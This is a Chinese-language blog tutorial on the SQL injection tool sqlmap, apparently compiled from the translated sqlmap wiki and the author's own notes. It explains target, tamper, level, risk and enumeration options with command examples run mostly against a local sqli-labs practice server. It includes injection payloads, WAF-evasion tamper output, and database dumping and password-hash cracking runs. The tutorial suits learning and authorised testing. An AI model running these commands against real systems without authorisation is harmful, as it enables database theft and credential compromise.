sqlmap重要参数详解+用法,解决入门难题

sqlmap重要参数详解

背景

当前博文只是将个人感觉重要的参数列举出来,非完整参数;
本文中文字描述,大部分是机器翻译,部分参考大佬翻译项目,附带的使用语句大多数是学习时总结的,仅供参考,如有错误欢迎指出,谢谢;

附带大佬翻译链接

https://github.com/itechub/sqlmap-wiki-zhcn

SqlMap介绍

sqlmap是一个开源的渗透测试工具,它可以自动化检测和利用SQL注入缺陷以及接管数据库服务器的过程。它有一个强大的检测引擎,许多适合于终极渗透测试的小众特性和广泛的开关,从数据库指纹、从数据库获取数据到访问底层文件系统和通过带外连接在操作系统上执行命令。

官方网址:http://sqlmap.orgl

SqlMap探测 必要 参数

目标

-d 直连数据库
  • 选项:-d

针对单一数据库实例运行 sqlmap 工具。这个选项可设置为下面格式的连接字符串:

DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME(MySQL,Oracle,Microsoft SQL Server,PostgreSQL 等。)
DBMS://DATABASE_FILEPATH(SQLite,Microsoft Access,Firebird 等。)
例如:

$ python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --bann\ er --dbs --users

-u目标 URL

选项:-u 或 --url针对单一目标 URL 运行 sqlmap。
这个选项可设置为下面格式的

URL:http(s)😕/targeturl[:port]/[…]

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs -\ -users

-l从 Burp 或 WebScarab 代理日志解析目标
  • 选项:-l

除了可以提供单个目标 URL,还可以测试并注入 Burp 代理或者 WebScarab 代理代理的 HTTP 请求。使用这个参数时,需要提供代理 HTTP 请求的日志文件。从给定的文本文件(http请求,Burp日志或代理日志)读取多个目标进行扫描

## 将Burp suiter截取的请求文件存储到~/test/目录下

┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -l ~/test/post_test.txt --dbs --batch
-m 通过文本文件提供一个目标 的URLs 列表
  • 选项:-m

通过文本文件提供一个目标 URLs 列表,sqlmap 会逐个进行扫描检测。

样本文件所提供的 URLs 列表示例:

www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

## -m_test.txt文件内容
http://192.168.138.20/Less-1/?id=1
http://192.168.138.20/Less-2/?id=1
http://192.168.138.20/Less-3/?id=1

┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -m ~/test/-m_test.txt --dbs --batch  

-r从文件中载入 HTTP 请求
  • 选项:-r

sqlmap 可以从一个文本中读取原始的 HTTP 请求。通过这种方式,你能够免于设置部分选项(例如:设置 cookies,POST 数据等参数)。

HTTP 请求文件数据样本如下:

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1

如果相关的请求是 HTTPS,你可以结合 --force-ssl 开关强制使用 SSL 进行 443/tcp 连接。或者,你可以在 Host 头部信息后面直接加上 :443。使用 Google dork 结果作为目标地址

## -r 多用在POST请求中,需要在数据包字段中手动添加注入点,即*号
    ## Referer注入,在Referer注入后添加*号,例
    ## Referer: http://192.168.138.20/Less-11/*
    ## 其他同理,cookie 。。。

┌──(kali2021㉿kali2021)-[~]
└─$ cat ~/test/post_test.txt                         
POST /Less-11/ HTTP/1.1
Host: 192.168.138.20
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.138.20
Connection: close
Referer: http://192.168.138.20/Less-11/
Upgrade-Insecure-Requests: 1


uname=admin&passwd=admin*&submit=Submit  

┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -r ~/test/post_test.txt --dbs --batch
或者
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -r ~/test/post_test.txt --dbs --batch

## HTTPS
## sqlmap同时也支持https的sql注入,只需加入参数-force-ssl告诉sqlmap这是https服务即可。如
sqlmap -u https://192.168.1.1/a.php?id=1" -force-ssl  (默认不是443,在后加其端口)


-g根据 Google dork 返回结果测试并注入
  • 选项:-g

sqlmap 同时支持根据 Google dork 返回结果测试并注入 GET 参数。>这个选项使得 sqlmap 能够和搜索引擎当前会话 cookies 进行内容交互,进行相关的搜索操作。

然后 sqlmap 会获取 Google dork 表达式筛选出的前 100 个返回结果及附带的 GET 参数,并且询问你是否对每个可能存在注入的 URL 进行测试注入。

例如:$ python sqlmap.py -g "inurl:\".php?id=1\""

-c从 INI 配置文件中读取选项

-选项:-c

sqlmap 支持从 INI 配置文件中读取用户的选项配置,例如:sqlmap.conf。
需要注意的是,如果你在命令行调用时,同时提供了相关的选项设置,则配置文件中的选项会被覆盖失效。

–save将选项保存在配置INI文件中

选项: --save
可以将命令行选项保存到配置INI文件中。然后可以编辑生成的文件,并使用上述-c选项将其传递到sqlmap 。

## 将常用命令配置保存到/usr/local/test/save.txt目录下,
┌──(kali2021㉿kali2021)-[/usr/local/test]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/?id=1" --random-agent --batch --safe-url "http://192.168.138.20/Less-2/?id=1" --safe-freq 3 --delay 1 --threads 10 --level 3 --risk 2 --eta --save /usr/local/test/save.txt

######################################################################################################

┌──(root💀kali2021)-[~/.local/share/sqlmap/output]
└─# cat /usr/local/test/save.txt
[Target]
url = http://192.168.138.20/Less-1/?id=1

[Optimization]
threads = 10
... ....
## 通过-c命令读取配置
┌──(kali2021㉿kali2021)-[/usr/local/test]
└─$ sudo sqlmap -c /usr/local/test/save.txt -u "http://192.168.138.20/Less-11/index.php" --forms --dbs

## 新输入的命令,优先级高于读取的ini配置文件;
## 即,save.txt文件 url处,填写了命令,但是我们在命令行桌面上,重新输入了一个新的url地址,则执行新url地址;


–random-agent或–user-agent

默认情况下,sqlmap使用以下User-Agent标头值执行HTTP请求:sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mN27FsCZ-1628146042575)(en-resource://database/3060:1)]

但是,可以–user-agent通过提供自定义User-Agent作为选项的参数来伪造该选项。此外,通过设置开关–random-agent,SqlMap的将随机选择一个User-Agent从./txt/user-agents.txt文本文件,并使用它的会话中的所有HTTP请求。

┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/?id=1" --random-agent --dbs --batch

延时: --delay

可以指定在每个HTTP(S)请求之间保留的秒数。有效值为浮点型,例如0.5表示半秒。默认情况下,不设置延迟。

## 每隔1秒钟,发送一个请求
┌──(kali2021㉿kali2021)-[~/test]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --delay 1

选项:-p,–skip 和 --param-exclude

默认情况下 sqlmap 会测试所有 GET 参数和 POST 参数。

当 --level 的值 >= 2,它还会测试 HTTP Cookie 头部值。
当这个值 >= 3 时,它还会测试 HTTP User-Agent 和 HTTP Referer 头部值。

而且还可以手动指定一个需要 sqlmap 进行测试的、使用逗号分隔的参数列表。
这会使 sqlmap 忽略 --level 的设置。例如,只需要测试 GET 参数 id 和 HTTP User-Agent 时,则提供 -p “id,user-agent”。

如果使用-p 指定 user-agent,则–level不生效;

如果用户想要排除测试某些参数,可以使用选项 --skip。
如果需要使用高级别 --level 值,并指定部分可用参数(排除通常被测试的 HTTP 头)时,这个选项非常有用。

例如,要在 --level=5 跳过测试 HTTP User-Agent 和 HTTP Referer,可以提供 --skip=“user-agent,referer”。
还可以基于正则表达式针对参数名称来排除对某些参数的测试。在这种情况下,用户可以使用选项 --param-exclude。

例如,要跳过对名称中包含 token 或 session 的参数测试,可以提供 --param-exclude=“token|session”。

-p                只测试指定注入点
--skip            不测试的参数注入点,与--level 配合使用
--param-exclude   正则表达式排除url参数信息(不包括user-agent,cookie,headers等),不测试参数注入点

## -p 只测试指定注入点
## Referer测试注入
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-19/" --data "uname=admin&passwd=admin&submit=Submit" --batch -p "Referer" --dbs

## -p 只测试passwd注入点
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-11/" --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs -p "passwd"

## 排除referer
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-19/" --data "uname=admin&passwd=admin&submit=Submit" --batch -skip "Referer" --dbs    

## 根据正则排除
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --dbs --param-exclude="id"


随机更改给定参数的值选项: --randomize *

可以指定要在每个请求期间随机更改其值的参数名称。长度和类型将根据提供的原始值保留。

 若不指定randomize id , id每次都等于1,指定后为,随机类型的参数
┌──(kali2021㉿kali2021)-[~/test]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --randomize id --batch  --dbs

避免过多请求失败使会话被销毁:–safe-url

–safe-url,–safe-post,–safe-req和–safe-freq

有时,如果执行一定数量的不成功请求,则介于两者之间的Web应用程序或检查技术会破坏会话。这可能在sqlmap的检测阶段或利用任何一种盲目SQL注入类型时发生。原因是SQL有效负载不一定返回输出,因此可能会向应用程序会话管理或检查技术发出信号。
要绕过目标设置的限制,可以提供任何(或组合)选项:
–safe-url:测试期间经常访问的URL地址。
–safe-post:将HTTP POST数据发送到给定的安全URL地址。
–safe-req:从文件加载并使用安全的HTTP请求。
–safe-freq:测试两次访问给定安全位置之间的请求。
这样,sqlmap将在每个预定义数量的请求中访问某个安全URL,而无需对其进行任何类型的注入。

  • –safe-url “http://192.168.138.20/Less-12/index.php” ,必须与safe-freq一起使用;
  • –safe-post “uname=admin&passwd=admin&submit=Submit” , 不能用在重复登录上,仅供参考
  • –safe-req ~/test/safe_test.txt (http请求数据包,仅一条url)
  • –safe-freq 3 每访问3次注入点-u “url”,就访问一次安全的其他url地址,即设置的safe-url;必须与safe-url一起使用;[Safe frequency 安全频率]
## 示例safe-url和safe-freq
┌──(kali2021㉿kali2021)-[~/test]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --dbs --safe-url "http://192.168.138.20/Less-12/index.php" --safe-freq 3

## 提交post的参数
┌──(kali2021㉿kali2021)-[~/test]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --dbs --safe-url "http://192.168.138.20/Less-12/index.php" --safe-post "uname=admin&passwd=admin&submit=Submit" --safe-freq 3

## 执行--safe-req 读取文件  safe-freq 设置频次
┌──(kali2021㉿kali2021)-[~/test]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" -safe-req ~/test/safe_test.txt -safe-freq 3 --batch


## 读取文件中的http请求,作为安全访问,只能存入一条数据
cat ~/test/safe_test.txt

GET /Less-2/index.php?id=1 HTTP/1.1
Host: 192.168.138.20
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

忽略会话文件中的查询结果:–fresh-queries

  • 开关:–fresh-queries

经过上面的描述,相信你已经熟悉了会话文件的概念,值得注意的是,你可以使用–fresh-queries 这个开关忽略指定的会话文件。这样你就可以保持某次运行的特定会话文件内容不被修改,从而避免查询结果的重复尝试/恢复。

## sqlmap查询一个库一个表的数据 ,都会写在缓存里面,提高数据,且这个数据不断在变化,
## 再去查询的时候数据还是第一次查询的数据那样不变,这个时候我们可以用sqlmap自带的--fresh-queries参数,
## 使用这个参数sqlmap将不会从缓存里面加载,从而能注入到数据库最新数据。
## 每次就不需要删除/root下的缓存文件了

┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/?id=1" -D security -T users --threads=10 --dump --eta --batch --fresh-queries

修改注入数据选项:–tamper

sqlmap 本身不会混淆发送的 payload,除了将单引号之间的字符串用诸如 CHAR() 进行替换。

如果后端 DBMS 与用户输入内容存在较弱验证机制的情况下,此选项会非常有用。这种验证机制通常是由应用程序源代码调用自行开发的输入验证例程,如昂贵的企业级 IPS 设备或 Web 应用程序防火墙(WAF)。

一言蔽之,它们通常以不同的方式实现并且需要花费大量资金。要利用此选项,需要为 sqlmap 提供逗号分隔的修改脚本列表,这将处理 payload 并返回转换结果。

你可以定义自己的修改脚本,编辑使用 sqlmap tamper/ 文件夹中的脚本,并使用逗号分隔连接它们作为 --tamper 选项的值(例如:–tamper=“between,randomcase”)。

  • 合法的修改脚本格式如下:
# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''
Description of your tamper script
'''
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal

你可以在 tamper/ 目录中查看有效和可用的修改脚本。针对 MySQL 目标,假定字符 >、空格和大写的 SELECT 字符串被禁止:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" 
--tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONC
AT(cHar(58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/
**/elsE/**/0/**/ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/info
rmation_schema.tables/**/group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
HAVING clause' injectable
[...]

级别选项:–level

使用这个选项需要给出一个参数用于指定即将进行检测的级别。
总共有五个级别。默认的级别是 1,该级别只会进行简单的检测(请求)。

与之不同的是,级别 5 会更详细地对更大范围 payloads 和 boundaries(作为 SQL payload 的前缀和后缀)进行检测。

sqlmap 使用的 payloads 直接从文本文件 xml/payloads.xml 中载入。根据该文件顶部的相关指导说明进行设置,如果 sqlmap 漏过了特定的注入,你可以选择自己修改指定的 payload 用于检测。

这个选项设置不止会影响 sqlmap 使用的 payload,还会影响到相关的测试注入点:

  • 测试 GET 和 POST 的相关参数,级别大于等于 2 则会测试 HTTP Cookie 头部,
  • 级别大于等于 3 则会测试 HTTP UserAgent/Referer 头部值。
  • 总而言之, 如果 SQL 注入检测的难度越高,则需要设定越高的 --level 值。
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-19/" --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs --level 3

强烈建议在向 sqlmap 邮件列表反馈 sqlmap 无法检测到特定类型的注入之前,尝试设定一个更高的 --level 值用于检测。

风险选项:–risk (修改注入点不推荐使用3,默认1)

这个选项需要给出一个参数用于指定即将进行检测的风险程度。总共有三个风险级别。

  • 默认的级别是1,对大多数 SQL 注入点而言是没有任何风险的。
  • 风险级别 2 则会在默认的检测上添加大量时间型盲注(Time-based blind)语句测试
  • 级别 3 则会在原基础上添加OR 类型的布尔型盲注(Boolean-based blind)测试。

在某些场景下,例如对 UPDATE 语句进行 SQL 注入,注入一个 OR 类型的 payload 会导致目标数据表的所有记录进行更新,显然这个不是攻击者想要的结果

针对这个场景及其他相关场景,sqlmap 引入了 --risk 这个选项。
通过这个选项:

  • 用户可以指定检测特定的 payload,同时用户可任意选择使用可能比较危险的操作。
  • 正如上面的选项提及到的,sqlmap 使用的 payloads 是直接在文本文件 xml/payloads.xml 载入的,该文件支持用户自定义编辑添加。
## 需要配合 -p 或者-level使用
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-19/" --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs -p "Referer" --risk 2

┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-19/" --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs --level 3 --risk 2   

SQL注入技术选项:–technique

此选项用于指定需要测试的 SQL 注入类型。

默认情况下 sqlmap 会测试它支持的所有类型/技术。
在某些情况下,你可能只想测试一种或几种特定类型的 SQL 注入,这便是该选项存在的作用。此选项需要一个参数值。该参数是由 B,E,U,S,T 和 Q 这样的字符任意组合成的字符串,每个字母代表不同的技术:

  • B:布尔型盲注(Boolean-based blind)
  • E:报错型注入(Error-based)
  • U:联合查询注入(UNION query-based)
  • S:堆叠查询注入(Stacked queries)
  • T:时间型盲注(Time-based blind)
  • Q:内联查询注入(inline Query)

例如,如果仅测试利用报错型注入和堆叠查询注入,你可以提供 ES。默认值为 BEUSTQ。
注意,当你需要访问文件系统,接管操作系统或访问 Windows 注册表配置单元时,提供的字符串必须包含代表堆叠查询技术的字母 S。

## 默认即可
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --dbs --technique BU


设置时间型盲注延迟响应秒数:–time-sec

设置时间型盲注中 DBMS(Database Management System,数据库管理系统)延迟响应秒数

选项:–time-sec为 --time-sec 提供一个整数,可以设置时间型盲注响应的延迟时间。默认情况下,它的值为 5 秒。

## 默认即可
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --dbs --technique T --time-sec 3                 

指定联合查询注入中的列数:–union-cols

选项:–union-cols默认情况下,sqlmap 进行联合查询注入时使用 1 到 10 列。

当然,可以通过提供更高的–level 值将该范围增加到最多 50 列。
有关详细信息,请参阅相关段落。

你可以手动指定选项 --union-cols 和相应的数字范围,以针对该类型的 SQL 注入测试特定范围的列。

例如,12-16 代表进行 12 到 16 列的联合查询注入测试。

## 默认即可
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --dbs --technique U --union-cols 2-5

绕过反 CSRF 防护:–csrf-token 和 --csrf-url

–csrf-token 、 --csrf-url

  • 选项:–csrf-token 和 --csrf-url

许多站点有使用 token 的反 CSRF 防护,在每个页面的响应随机设置隐藏字段值。

sqlmap 将自动尝试识别并绕过这种防护,同时支持 --csrf-token 和 --csrf-url 等选项用来做进一步调整。

  • 选项 --csrf-token 用于设置包含随机 token 的隐藏字段的名称。这在网站对这些字段使用非标准名称的情况下是非常有用的。

  • 选项 --csrf-url 用于从任意有效的 URL 地址获取 token 值。这在目标网址在初始地不包含必需的 token 值,而需要从其他地方提取时是非常有用的。

强制使用 SSL/HTTPS:–force-ssl

  • 开关:–force-ssl

如果想要对目标强制使用 SSL/HTTPS 请求,可以使用此开关。在使用选项 --crawl 收集 URLs 或者使用选项 -l 提供 Burp 日志时,该开关是很有用的。

## HTTPS
## sqlmap同时也支持https的sql注入,只需加入参数-force-ssl告诉sqlmap这是https服务即可。如

┌──(kali2021㉿kali2021)-[~/test]
└─$ sudo sqlmap -u https://192.168.1.1/a.php?id=1" -force-ssl  (默认不是443,在后加其端口)

并发 HTTP(S) 请求:–threads

  • 选项:--threads

sqlmap 中支持设定 HTTP(S) 请求最大并发数。 这个特性依赖于多线程,因而继承了多线程的优点和缺陷。

当数据是通过 SQL 盲注技术,或者使用暴力破解相关开关获取时,可以运用这个特性。

对于 SQL 盲注技术,sqlmap 首先在单线程中计算出查询目标的长度,然后启用多线程特性,为每一个线程分配查询的一个字符。

当该字符被成功获取后,线程会结束并退出——结合 sqlmap 中实现的折半算法,每个线程最多发起 7 次 HTTP(S) 请求。

考虑运行性能和目标站点的可靠性因素,sqlmap 最大的并发请求数只能设置到 10

值得注意的是,这个选项不能跟 --predict-output 一起使用。

┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --dbs --threads 10

标语(Banner)

  • 开关:-b--banner

大多数现代 DBMS 具有一个函数和/或一个环境变量,它会返回 DBMS 版本,并最终在其补丁级别详细介绍底层系统。通常这个函数是 version() ,环境变量是 @@version,这取决于目标 DBMS。

针对 Oracle 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\
-banner

[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

注入分类(特别关注)

指定 DBMS类型:–dbms
  • 选项:--dbms

默认情况下 sqlmap 会自动检测 Web 应用程序的后端 DBMS。sqlmap 完全支持以下 DBMS:

  • MySQL
  • Oracle
  • PostgreSQL
  • Microsoft SQL Server
  • Microsoft Access
  • IBM DB2
  • SQLite
  • Firebird
  • Sybase
  • SAP MaxDB
  • Informix
  • MariaDB
  • Percona
  • MemSQL
  • TiDB
  • CockroachDB
  • HSQLDB
  • H2
  • MonetDB
  • Apache Derby
  • Vertica
  • Mckoi
  • Presto
  • Altibase

如果由于某些原因 sqlmap 已经识别出 SQL 注入却无法检测到后端 DBMS 类型,或者你想避免执行指纹信息收集,可以自己提供后端 DBMS 的名称(例如:postgresql)。

对于 MySQL 和 Microsoft SQL Server 分别以 MySQL <version>Microsoft SQL Server <version> 的形式提供,其中 <version> 是指 DBMS 的有效版本;例如 MySQL 为 5.0,Microsoft SQL Server 为 2005

如果你同时使用 --dbms-f或--fingerprint,sqlmap 将只对指定的 DBMS 执行详细的指纹收集,更详细的信息请阅读下文。

注意,此选项不是强制性的,强烈建议仅当你绝对确定后端 DBMS 时使用它。如果你不知道,就让 sqlmap 自动为你识别指纹信息。

## 指定数据库指纹
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --dbms mysql -f

## -f 和 --dbms mysql输出结果差不多,唯一区别是如果指定了--dbms sqlmap会加快探测速度
指定 DBMS 操作系统名称:–os
  • 选项:--os

默认情况下,当此信息是任何开关或选项的依赖时,sqlmap 会自动检测 Web 应用程序后端 DBMS 的底层操作系统信息。 目前完全支持的操作系统有:

  • Linux
  • Windows

你可以强制指定已知的操作系统类型,这样 sqlmap 将避免对该信息进行检测。

注意,此选项不是强制性的,强烈建议仅当你绝对确定后端 DBMS 底层操作系统时使用它。如果你不知道,就让 sqlmap 自动为你识别。

┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --os Linux

杂项参数

-v 输出详细等级
  • 选项:-v 输出详细等级

该选项用于设置输出信息的详细等级,共有七个级别。默认级别为 1,输出包括普通信息,警告,错误,关键信息和 Python 出错回遡信息(如果有的话)。0:只输出 Python 出错回溯信息,错误和关键信息。

1:增加输出普通信息和警告信息。
2:增加输出调试信息。
3:增加输出已注入的 payloads。
4:增加输出 HTTP 请求。
5:增加输出 HTTP 响应头
6:增加输出 HTTP 响应内容。
如果你想知道 sqlmap 发送了什么 SQL payloads,等级 3 是最佳选择。

在你为开发者系统提供潜在的 Bug 报告时,推荐使用这个等级,同时附加上使用选项 -t 生成的流量日志文件标准输出文件(-t导出的文件只记录,http请求头和response响应体)。

┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/?id=1"  --random-agent --level 3 --risk 2  -v5 -t /usr/local/test/2.txt

枚举(*所以都重要)

​ 以下选项可用于枚举后端 DBMS(Database Management System,数据库管理系统)信息、表结构和表中包含的数据。此外,你还可以运行自定义的SQL 语句。

获取全部数据(慎用): --all
  • 开关:--all

当用户想要通过使用单个开关远程获取所有可访问数据信息,可以使用该开关。通常不建议这么做,因为它会产生大量的请求同时获取有用无用的数据。

## --all 命令会将数据库中的所有的信息拉取到本地中
## 所有文件会保存当一下目录中
/root/.local/share/sqlmap/output/192.168.138.20/dump
## dump目录结构与数据库一致

## dump目录文件
所有的.csv,都是表数据,首行别结果,其他为数据,每列以","分割
标语(Banner): -b 或 --banner
  • 开关:-b--banner

大多数现代 DBMS 具有一个函数和/或一个环境变量,它会返回 DBMS 版本,并最终在其补丁级别详细介绍底层系统。通常这个函数是 version() ,环境变量是 @@version,这取决于目标 DBMS。

针对 Oracle 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\
-banner

[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
当前会话用户: --current-user

开关:--current-user

使用此开关,可以从 Web 应用程序中获取到当前正在执行相关数据库查询操作的 DBMS 用户。

## 获取当前连接的用户
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --current-user
当前数据库: --current-db

开关:--current-db

使用此开关可以获取 Web 应用程序连接到的 DBMS 数据库名称。

┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --current-db
服务器主机名: --hostname
  • 开关:--hostname

使用此开关可以获取 DBMS 所在的主机名。

针对 MySQL 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
hostname

[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname:    'debian-5.0-i386'
检测当前会话用户是否为数据库管理员: --is-dba

开关:--is-dba

可以检测当前 DBMS 会话用户是否为数据库管理员,也称为 DBA。如果是,sqlmap 将返回 True,否则返回 False

## 不是很准确
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --is-dba
列出 DBMS 所有用户: --users

开关:--users

如果当前会话用户对包含 DBMS 用户信息的系统表有读取权限,可以枚举用户列表。

┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --users
列出和破解 DBMS 用户的密码哈希: --passwords
  • 开关:--passwords

如果当前会话用户对包含 DBMS 用户密码信息的系统表有读取权限,则可以枚举每个 DBMS 用户的密码哈希值。sqlmap 将会枚举所有用户,及一一对应的用户密码哈希。

针对 PostgreSQL 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
passwords -v 1

[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass

以上例子中,sqlmap 不仅枚举了 DBMS 用户及其密码,而且识别出密码哈希格式属于PostgreSQL,并询问用户是否使用字典文件进行散列测试,并识别出了用户 postgres 的明文密码,它通常是 DBA,被识别出的还有用户 testuser 的密码。

对于可以枚举用户密码哈希的 DBMS 都已实现了此功能,包括 Oracle 和 Microsoft SQL Server 2005 及后续版本。

你还可以使用 -U 选项来指定要枚举的特定用户,并破解其对应密码哈希。如果你提供 CU 作为用户名,它会将其视为当前用户的别名,并将获取此用户的密码哈希值。

## 爆破密码
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --passwords
列出 DBMS 所有用户权限: --privileges

开关:--privileges

如果当前会话用户对包含 DBMS 用户信息的系统表有读取权限,则可以枚举出每个 DBMS 用户的权限。根据权限信息,sqlmap 还将显示出哪些是数据库管理员。

你还可以使用 -U 选项来指定要枚举出权限的用户。

如果你提供 CU 作为用户名,它会将其视为当前用户的别名,并将获取此用户的权限信息。

在 Microsoft SQL Server 中,此功能将显示每个用户是否为数据库管理员,而不是所有用户的权限列表。

## 显示数据库系统的所有用户,并包含权限
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --privileges

## 只列举root用户的所有权限
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --privileges -U root'@'localhost
列出 DBMS 所有用户角色: --roles

开关:--roles

